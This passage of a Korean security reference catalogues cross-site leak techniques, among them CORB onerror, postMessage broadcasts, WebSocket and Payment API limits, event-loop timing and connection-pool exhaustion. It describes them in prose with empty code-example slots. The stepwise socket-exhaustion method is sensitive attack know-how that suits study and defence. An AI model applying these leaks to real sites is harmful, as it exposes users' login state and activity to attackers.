  • Summary: ํŽ˜์ด์ง€๊ฐ€ ๋ฏผ๊ฐํ•œ ์ฝ˜ํ…์ธ ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ, ์‚ฌ์šฉ์ž๋Š” ๋ถ€์ •์ ์ธ ๊ฒฝ์šฐ์— ์œ ํšจํ•œ JS ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ ์‹œ๋„๋งˆ๋‹ค <script> ํƒœ๊ทธ ์•ˆ์— ๋กœ๋“œํ•˜์—ฌ ๋ถ€์ •์ ์ธ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ณ , ๊ธ์ •์ ์ธ ๊ฒฝ์šฐ์—๋Š” ์•„๋ฌด๊ฒƒ๋„ ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: **Cross-Origin Read Blocking (CORB)**๋Š” Spectre์™€ ๊ฐ™์€ ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ๋ฏผ๊ฐํ•œ ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค์˜ ๋กœ๋“œ๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๋ณด์•ˆ ์กฐ์น˜์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ž๋Š” ๊ทธ ๋ณดํ˜ธ ๋™์ž‘์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CORB์˜ ์ ์šฉ์„ ๋ฐ›๋Š” ์‘๋‹ต์ด nosniff์™€ 2xx ์ƒํƒœ ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š” CORB ๋ณดํ˜ธ Content-Type์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด, CORB๋Š” ์‘๋‹ต์˜ ๋ณธ๋ฌธ๊ณผ ํ—ค๋”๋ฅผ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ๊ด€์ฐฐํ•˜๋Š” ๊ณต๊ฒฉ์ž๋Š” ์ƒํƒœ ์ฝ”๋“œ(์„ฑ๊ณต ๋˜๋Š” ์˜ค๋ฅ˜๋ฅผ ๋‚˜ํƒ€๋ƒ„)์™€ Content-Type(CORB์— ์˜ํ•ด ๋ณดํ˜ธ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ๋‚˜ํƒ€๋ƒ„)์˜ ์กฐํ•ฉ์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์–ด ์ •๋ณด ์œ ์ถœ์˜ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example:

๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋” ๋งŽ์€ ์ •๋ณด ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

onblur

iframe ์•ˆ์— ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ณ  **#id_value**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŽ˜์ด์ง€๊ฐ€ ์ง€์ •๋œ iframe์˜ ์š”์†Œ์— ํฌ์ปค์Šค๋ฅผ ๋งž์ถ”๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ onblur ์‹ ํ˜ธ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉด ID ์š”์†Œ๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
portal ํƒœ๊ทธ๋กœ ๋™์ผํ•œ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: postMessage์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜๊ฑฐ๋‚˜ postMessages์˜ ์กด์žฌ๋ฅผ ์˜ค๋ผํด๋กœ ์‚ฌ์šฉํ•˜์—ฌ ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: ๋ชจ๋“  postMessages๋ฅผ ์ˆ˜์‹ ํ•˜๋Š” ์ฝ”๋“œ.

์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ ์ข…์ข… postMessage broadcasts๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋กœ ๋‹ค๋ฅธ ์ถœ์ฒ˜ ๊ฐ„์— ํ†ต์‹ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์€ targetOrigin ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์ œ๋Œ€๋กœ ์ง€์ •๋˜์ง€ ์•Š์œผ๋ฉด ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์šฐ์—ฐํžˆ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜์‹ ํ•˜๋Š” ํ–‰์œ„ ์ž์ฒด๊ฐ€ ์˜ค๋ผํด ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŠน์ • ๋ฉ”์‹œ์ง€๋Š” ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž์—๊ฒŒ๋งŒ ์ „์†ก๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด๋Ÿฌํ•œ ๋ฉ”์‹œ์ง€์˜ ์กด์žฌ ๋˜๋Š” ๋ถ€์žฌ๋Š” ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ๋‚˜ ์‹ ์›์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Global Limits Techniques

WebSocket API

๋Œ€์ƒ ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” WebSocket ์—ฐ๊ฒฐ์˜ ์ˆ˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ƒํƒœ๋ฅผ ๊ฐ์ง€ํ•˜๊ณ  WebSocket ์—ฐ๊ฒฐ ์ˆ˜์™€ ๊ด€๋ จ๋œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

ํ•˜๋‚˜์˜ origin์ด ์ตœ๋Œ€ WebSocket ์—ฐ๊ฒฐ ๊ฐ์ฒด ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์—ฐ๊ฒฐ ์ƒํƒœ์™€ ๊ด€๊ณ„์—†์ด ์ƒˆ ๊ฐ์ฒด์˜ ์ƒ์„ฑ์€ JavaScript ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๊ณต๊ฒฉ์ž ์›น์‚ฌ์ดํŠธ๋Š” ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ๋ฅผ ํŒ์—… ๋˜๋Š” iframe์—์„œ ์—ด๊ณ , ๋Œ€์ƒ ์›น์ด ๋กœ๋“œ๋œ ํ›„ ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€ ์ˆ˜์˜ WebSocket ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋˜์ ธ์ง„ ์˜ˆ์™ธ์˜ ์ˆ˜๋Š” ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ ์ฐฝ์—์„œ ์‚ฌ์šฉ๋œ WebSocket ์—ฐ๊ฒฐ์˜ ์ˆ˜์ž…๋‹ˆ๋‹ค.

Payment API

์ด XS-Leak๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ํŽ˜์ด์ง€๊ฐ€ ๊ฒฐ์ œ ์š”์ฒญ์„ ์‹œ์ž‘ํ•  ๋•Œ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ฒฐ์ œ ์š”์ฒญ์€ ํ•œ ๋ฒˆ์— ํ•˜๋‚˜๋งŒ ํ™œ์„ฑํ™”๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ๊ฐ€ Payment Request API๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด API๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋Š” ์ถ”๊ฐ€ ์‹œ๋„๋Š” ์‹คํŒจํ•˜๊ฒŒ ๋˜๊ณ  JavaScript ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ฃผ๊ธฐ์ ์œผ๋กœ Payment API UI๋ฅผ ํ‘œ์‹œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜๋‚˜์˜ ์‹œ๋„๊ฐ€ ์˜ˆ์™ธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋ฉด, ๋Œ€์ƒ ์›น์‚ฌ์ดํŠธ๊ฐ€ ํ˜„์žฌ ์ด๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” UI ์ƒ์„ฑ ํ›„ ์ฆ‰์‹œ ๋‹ซ์•„ ์ด๋Ÿฌํ•œ ์ฃผ๊ธฐ์ ์ธ ์‹œ๋„๋ฅผ ์ˆจ๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Timing the Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
  • Summary: ๋‹จ์ผ ์Šค๋ ˆ๋“œ JS ์ด๋ฒคํŠธ ๋ฃจํ”„๋ฅผ ์•…์šฉํ•˜์—ฌ ์›น์˜ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•ฉ๋‹ˆ๋‹ค.
  • Code Example:

Event Loop Blocking + Lazy images

JavaScript๋Š” ๋‹จ์ผ ์Šค๋ ˆ๋“œ ์ด๋ฒคํŠธ ๋ฃจํ”„ ๋™์‹œ์„ฑ ๋ชจ๋ธ์—์„œ ์ž‘๋™ํ•˜๋ฉฐ, ์ด๋Š” ํ•œ ๋ฒˆ์— ํ•˜๋‚˜์˜ ์ž‘์—…๋งŒ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ํŠน์„ฑ์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๊ณ ์ • ์†์„ฑ์„ ๊ฐ€์ง„ ์ด๋ฒคํŠธ๋ฅผ ์ง€์†์ ์œผ๋กœ ์ „์†กํ•˜์—ฌ ์ด๋ฒคํŠธ ๋ฃจํ”„์—์„œ ์ž์‹ ์˜ ์ฝ”๋“œ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ด๋ฒคํŠธ๋Š” ์ด๋ฒคํŠธ ํ’€์— ๋นˆ ๊ณต๊ฐ„์ด ์žˆ์„ ๋•Œ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์ถœ์ฒ˜๋„ ๋™์ผํ•œ ํ’€์— ์ด๋ฒคํŠธ๋ฅผ ์ „์†กํ•˜๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ์ž‘์—… ์‹คํ–‰ ์ง€์—ฐ์„ ๊ด€์ฐฐํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์™ธ๋ถ€ ์ด๋ฒคํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง€์—ฐ์— ๋Œ€ํ•œ ์ด๋ฒคํŠธ ๋ฃจํ”„ ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์ฝ”๋“œ ์‹คํ–‰ ์‹œ๊ฐ„์„ ๋“œ๋Ÿฌ๋‚ด์–ด ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

์‹คํ–‰ ํƒ€์ด๋ฐ์—์„œ๋Š” ๋” ์ •ํ™•ํ•œ ์ธก์ •๊ฐ’์„ ์–ป๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ ์š”์ธ์„ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์ „์— ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•จ์œผ๋กœ์จ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: ์›น ์ž‘์—…์˜ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ํ•œ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์€ ์Šค๋ ˆ๋“œ์˜ ์ด๋ฒคํŠธ ๋ฃจํ”„๋ฅผ ์˜๋„์ ์œผ๋กœ ์ฐจ๋‹จํ•œ ๋‹ค์Œ ์ด๋ฒคํŠธ ๋ฃจํ”„๊ฐ€ ๋‹ค์‹œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง€๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ฐจ๋‹จ ์ž‘์—…(์˜ˆ: ๊ธด ๊ณ„์‚ฐ ๋˜๋Š” ๋™๊ธฐ API ํ˜ธ์ถœ)์„ ์ด๋ฒคํŠธ ๋ฃจํ”„์— ์‚ฝ์ž…ํ•˜๊ณ , ํ›„์† ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ ์ฐจ๋‹จ ๊ธฐ๊ฐ„ ๋™์•ˆ ์ด๋ฒคํŠธ ๋ฃจํ”„์—์„œ ์‹คํ–‰ ์ค‘์ด๋˜ ์ž‘์—…์˜ ์ง€์† ์‹œ๊ฐ„์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ JavaScript์˜ ์ด๋ฒคํŠธ ๋ฃจํ”„๊ฐ€ ๋‹จ์ผ ์Šค๋ ˆ๋“œ๋กœ ์ž‘์—…์„ ์ˆœ์ฐจ์ ์œผ๋กœ ์‹คํ–‰ํ•˜๋Š” ํŠน์„ฑ์„ ํ™œ์šฉํ•˜๋ฉฐ, ๋™์ผํ•œ ์Šค๋ ˆ๋“œ๋ฅผ ๊ณต์œ ํ•˜๋Š” ๋‹ค๋ฅธ ์ž‘์—…์˜ ์„ฑ๋Šฅ์ด๋‚˜ ๋™์ž‘์— ๋Œ€ํ•œ ํ†ต์ฐฐ๋ ฅ์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example:

์ด๋ฒคํŠธ ๋ฃจํ”„๋ฅผ ์ž ๊ธˆ์œผ๋กœ์จ ์‹คํ–‰ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๊ธฐ์ˆ ์˜ ์ค‘์š”ํ•œ ์žฅ์ ์€ ์‚ฌ์ดํŠธ ๊ฒฉ๋ฆฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ์ž ์žฌ๋ ฅ์ž…๋‹ˆ๋‹ค. ์‚ฌ์ดํŠธ ๊ฒฉ๋ฆฌ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ์›น์‚ฌ์ดํŠธ๋ฅผ ๋ณ„๋„์˜ ํ”„๋กœ์„ธ์Šค๋กœ ๋ถ„๋ฆฌํ•˜์—ฌ ์•…์˜์ ์ธ ์‚ฌ์ดํŠธ๊ฐ€ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์˜ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ์— ์ง์ ‘ ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ณด์•ˆ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ž๋Š” ๊ณต์œ  ์ด๋ฒคํŠธ ๋ฃจํ”„๋ฅผ ํ†ตํ•ด ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์‹คํ–‰ ํƒ€์ด๋ฐ์— ์˜ํ–ฅ์„ ๋ฏธ์นจ์œผ๋กœ์จ ํ•ด๋‹น ์ถœ์ฒ˜์˜ ํ™œ๋™์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ง์ ‘์ ์ธ ์ ‘๊ทผ์— ์˜์กดํ•˜์ง€ ์•Š๊ณ , ์˜คํžˆ๋ ค ํ•ด๋‹น ์ถœ์ฒ˜์˜ ํ™œ๋™์ด ๊ณต์œ  ์ด๋ฒคํŠธ ๋ฃจํ”„์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ์„ ๊ด€์ฐฐํ•˜์—ฌ ์‚ฌ์ดํŠธ ๊ฒฉ๋ฆฌ์— ์˜ํ•ด ์„ค์ •๋œ ๋ณดํ˜ธ ์žฅ๋ฒฝ์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

์‹คํ–‰ ํƒ€์ด๋ฐ์—์„œ๋Š” ๋” ์ •ํ™•ํ•œ ์ธก์ •๊ฐ’์„ ์–ป๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ ์š”์ธ์„ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์ „์— ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•จ์œผ๋กœ์จ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: ๊ณต๊ฒฉ์ž๋Š” 1๊ฐœ๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ์†Œ์ผ“์„ ์ž ๊ทธ๊ณ , ๋Œ€์ƒ ์›น์„ ๋กœ๋“œํ•˜๋ฉฐ ๋™์‹œ์— ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰ ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋˜๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ์‹œ๊ฐ„์€ ๋Œ€์ƒ ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋˜๋Š” ๋ฐ ๊ฑธ๋ฆฐ ์‹œ๊ฐ„์ž…๋‹ˆ๋‹ค.
  • Code Example:

Connection Pool Examples

๋ธŒ๋ผ์šฐ์ €๋Š” ์„œ๋ฒ„ ํ†ต์‹ ์„ ์œ„ํ•ด ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜์ง€๋งŒ, ์šด์˜ ์ฒด์ œ์™€ ํ•˜๋“œ์›จ์–ด์˜ ์ œํ•œ๋œ ์ž์›์œผ๋กœ ์ธํ•ด ๋ธŒ๋ผ์šฐ์ €๋Š” ๋™์‹œ ์†Œ์ผ“ ์ˆ˜์— ์ œํ•œ์„ ๋‘์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ํ†ตํ•ด ์ด ์ œํ•œ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๋ธŒ๋ผ์šฐ์ €์˜ ์†Œ์ผ“ ํ•œ๋„๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 256๊ฐœ์˜ ์ „์—ญ ์†Œ์ผ“.
  2. 255๊ฐœ์˜ ์†Œ์ผ“์„ ๋‹ค์–‘ํ•œ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ 255๊ฐœ์˜ ์š”์ฒญ์„ ์‹œ์ž‘ํ•˜์—ฌ ์˜ค๋žœ ์‹œ๊ฐ„ ๋™์•ˆ ์ ์œ ํ•˜์—ฌ ์—ฐ๊ฒฐ์„ ์—ด์–ด ๋‘ก๋‹ˆ๋‹ค.
  3. 256๋ฒˆ์งธ ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ํŽ˜์ด์ง€์— ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.
  4. ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ 257๋ฒˆ์งธ ์š”์ฒญ์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์†Œ์ผ“์ด ์‚ฌ์šฉ ์ค‘์ด๋ฏ€๋กœ(2๋‹จ๊ณ„์™€ 3๋‹จ๊ณ„์— ๋”ฐ๋ผ) ์ด ์š”์ฒญ์€ ์†Œ์ผ“์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์งˆ ๋•Œ๊นŒ์ง€ ๋Œ€๊ธฐ์—ด์— ๋†“์ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ์š”์ฒญ์ด ์ง„ํ–‰๋˜๊ธฐ๊นŒ์ง€์˜ ์ง€์—ฐ ์‹œ๊ฐ„์€ ๊ณต๊ฒฉ์ž์—๊ฒŒ 256๋ฒˆ์งธ ์†Œ์ผ“(๋Œ€์ƒ ํŽ˜์ด์ง€์˜ ์†Œ์ผ“)๊ณผ ๊ด€๋ จ๋œ ๋„คํŠธ์›Œํฌ ํ™œ๋™์— ๋Œ€ํ•œ ์‹œ๊ฐ„ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” 2๋‹จ๊ณ„์—์„œ 255๊ฐœ์˜ ์†Œ์ผ“์ด ์—ฌ์ „ํžˆ ์‚ฌ์šฉ ์ค‘์ด๋ฏ€๋กœ, ์ƒˆ๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์†Œ์ผ“์€ 3๋‹จ๊ณ„์—์„œ ํ•ด์ œ๋œ ์†Œ์ผ“์ด์–ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ 256๋ฒˆ์งธ ์†Œ์ผ“์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ด์ง€๋Š” ๋ฐ ๊ฑธ๋ฆฐ ์‹œ๊ฐ„์€ ๋Œ€์ƒ ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์š”์ฒญ์ด ์™„๋ฃŒ๋˜๋Š” ๋ฐ ๊ฑธ๋ฆฐ ์‹œ๊ฐ„๊ณผ ์ง์ ‘์ ์œผ๋กœ ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค.

๋” ๋งŽ์€ ์ •๋ณด๋Š” https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/์—์„œ ํ™•์ธํ•˜์„ธ์š”.

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Summary: ์ด์ „ ๊ธฐ์ˆ ๊ณผ ์œ ์‚ฌํ•˜์ง€๋งŒ ๋ชจ๋“  ์†Œ์ผ“์„ ์‚ฌ์šฉํ•˜๋Š” ๋Œ€์‹  Google Chrome์€ ๋™์ผํ•œ ์ถœ์ฒ˜์— ๋Œ€ํ•ด 6๊ฐœ์˜ ๋™์‹œ ์š”์ฒญ์œผ๋กœ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ 5๊ฐœ๋ฅผ ์ฐจ๋‹จํ•˜๊ณ  6๋ฒˆ์งธ ์š”์ฒญ์„ ์‹œ์ž‘ํ•˜๋ฉด ์‹œ๊ฐ„์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ”ผํ•ด์ž ํŽ˜์ด์ง€๊ฐ€ ๋™์ผํ•œ ์—”๋“œํฌ์ธํŠธ์— ๋” ๋งŽ์€ ์š”์ฒญ์„ ๋ณด๋‚ด๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, 6๋ฒˆ์งธ ์š”์ฒญ์€ ๋” ์˜ค๋ž˜ ๊ฑธ๋ฆฌ๊ฒŒ ๋˜์–ด ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Performance API Techniques

